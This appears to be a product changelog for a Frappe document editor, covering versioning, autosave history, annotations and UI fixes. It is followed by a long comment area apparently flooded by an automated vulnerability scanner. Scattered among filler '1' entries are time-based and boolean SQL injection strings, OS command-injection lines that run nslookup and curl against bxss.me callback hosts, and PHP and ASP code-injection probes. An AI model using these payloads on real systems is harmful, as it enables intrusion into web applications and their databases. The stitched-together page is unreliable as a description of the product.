We’ve focused on shipping some much needed upgrades to our document editor, making it easier and more reliable to collaborate.
Document Versioning
This allows you to manage different versions of your documents seamlessly. Essential for maintaining the integrity of your work, especially in collaborative environments where multiple users may be editing the same document together.
Document History
Automatic versioning has also been added. With this you get better control over your document's history. Instead of just saving manually at longer intervals, these automatic saves create a detailed timeline of changes. This makes it easy to track specific edits and roll back to earlier versions whenever you need to.
New Annotations
Our new annotation system features enhanced capabilities, including the ability to support overlapping annotations, mark threads as resolved, and simplify the tracking and management of unanchored annotations.
Other Changes
Whitespace handling: updated the whitespace handling in the editor. To make it behave more consistently with other Frappe apps.
App Switcher: added the new Frappe app switcher, so you can easily switch between all your installed apps.
User Preferences: Added some basic user preferences to make file navigation easier and more comfortable.
Folder Grouping: You now have the option to switch off grouping folders, allowing files and folders to be sorted together.
Global Viewers: We’ve introduced global viewers for files and folder, so you can be sure you're viewing the same file as everyone.
Upload Tracker: You can now jump directly to a file from the upload tracker.
Grid View Update: Grid view has been updated to accommodate more items on smaller screens, improving usability.
Document State Sync: We’ve resolved issues related to syncing document states, ensuring that all users see the correct version without conflicts.
Annotation Focus: Annotation focus now behaves correctly, does not steal focus while typing.
Don’t miss out—sign up today for a more efficient and user-friendly file storage experience, join our Telegram group for discussions, and click below to get started.


·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
(select 198766*667891 from DUAL)
·
(select 198766*667891)
·
@@TDVa3
·
1����%2527%2522\'\"
·
1'"
·
1
·
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
·
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
·
10IqXsta3')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
·
1wUyAseIb') OR 733=(SELECT 733 FROM PG_SLEEP(15))--
·
1pdEAcKFL' OR 832=(SELECT 832 FROM PG_SLEEP(15))--
·
1-1)) OR 651=(SELECT 651 FROM PG_SLEEP(15))--
·
1-1) OR 608=(SELECT 608 FROM PG_SLEEP(15))--
·
1-1 OR 248=(SELECT 248 FROM PG_SLEEP(15))--
·
185YVqxsN'; waitfor delay '0:0:15' --
·
1-1 waitfor delay '0:0:15' --
·
1-1); waitfor delay '0:0:15' --
·
1-1; waitfor delay '0:0:15' --
·
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
·
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
·
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
·
1*if(now()=sysdate(),sleep(15),0)
·
-1" OR 5*5=26 or "rIBUzK7U"="
·
-1" OR 5*5=25 or "rIBUzK7U"="
·
-1' OR 5*5=26 or 'HioPqyhF'='
·
-1' OR 5*5=25 or 'HioPqyhF'='
·
-1" OR 5*5=26 --
·
-1" OR 5*5=25 --
·
-1' OR 5*5=26 --
·
-1' OR 5*5=25 --
·
-1 OR 5*5=26
·
-1 OR 5*5=25
·
-1 OR 5*5=26 --
·
-1 OR 5*5=25 --
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
&(nslookup${IFS}-q${IFS}cname${IFS}hitbaisdlfxyv904e2.bxss.me||curl${IFS}hitbaisdlfxyv904e2.bxss.me)&'\"
0&(nslookup${IFS}-q${IFS}cname${IFS}hitbaisdlfxyv904e2.bxss.me||curl${IFS}hitbaisdlfxyv904e2.bxss.me)&'·
1
·
|(nslookup${IFS}-q${IFS}cname${IFS}hituyqshqzuwxdb219.bxss.me||curl${IFS}hituyqshqzuwxdb219.bxss.me)
·
1
·
1
·
;(nslookup -q=cname hitjwvzgjoghyf62b9.bxss.me||curl hitjwvzgjoghyf62b9.bxss.me)|(nslookup -q=cname hitjwvzgjoghyf62b9.bxss.me||curl hitjwvzgjoghyf62b9.bxss.me)&(nslookup -q=cname hitjwvzgjoghyf62b9.bxss.me||curl hitjwvzgjoghyf62b9.bxss.me)
·
1
·
(nslookup -q=cname hitfwmjbppchwad2e2.bxss.me||curl hitfwmjbppchwad2e2.bxss.me)·
1
·
|(nslookup -q=cname hitrafrzgvzeq70f92.bxss.me||curl hitrafrzgvzeq70f92.bxss.me)
·
&(nslookup -q=cname hitkrzwrhtecsba3f5.bxss.me||curl hitkrzwrhtecsba3f5.bxss.me)&'\"
0&(nslookup -q=cname hitkrzwrhtecsba3f5.bxss.me||curl hitkrzwrhtecsba3f5.bxss.me)&'·
&nslookup -q=cname hittdeafvdqot2e366.bxss.me&'\"
0&nslookup -q=cname hittdeafvdqot2e366.bxss.me&'·
1
·
"+response.write(9216310*9805047)+"
·
$(nslookup -q=cname hitumwcsrlgtz81247.bxss.me||curl hitumwcsrlgtz81247.bxss.me)
·
'+response.write(9216310*9805047)+'
·
(nslookup -q=cname hitlhukhupoaadd9f1.bxss.me||curl hitlhukhupoaadd9f1.bxss.me))
·
response.write(9216310*9805047)
·
1
·
1
·
expr 9000867069 - 917599
·
1
·
1
·
|echo zmqdvl$()\ ubrrnw\nz^xyu||a #' |echo zmqdvl$()\ ubrrnw\nz^xyu||a #|" |echo zmqdvl$()\ ubrrnw\nz^xyu||a #
·
1
·
1
·
&echo dubczu$()\ ymfwgv\nz^xyu||a #' &echo dubczu$()\ ymfwgv\nz^xyu||a #|" &echo dubczu$()\ ymfwgv\nz^xyu||a #
·
1
·
1
·
echo kfifzv$()\ sdrkhi\nz^xyu||a #' &echo kfifzv$()\ sdrkhi\nz^xyu||a #|" &echo kfifzv$()\ sdrkhi\nz^xyu||a #
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
'.print(md5(31337)).'
·
1
·
1
·
${@print(md5(31337))}\
·
1
·
1
·
${@print(md5(31337))}
·
1
·
gethostbyname(lc('hitdw'.'vzuoaxtkcb227.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(65).chr(107).chr(90)
·
1
·
1
·
1
·
1
·
";print(md5(31337));$a="
·
".gethostbyname(lc("hitts"."briiuagz5cd41.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(71).chr(113).chr(90)."
·
1
·
'.gethostbyname(lc('hitdd'.'trmuvmxs71509.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(83).chr(102).chr(74).'
·
1
·
';print(md5(31337));$a='
·
1
·
1
·
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
Comment
·
1
·
1
·
1
·
'"
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1'
·
1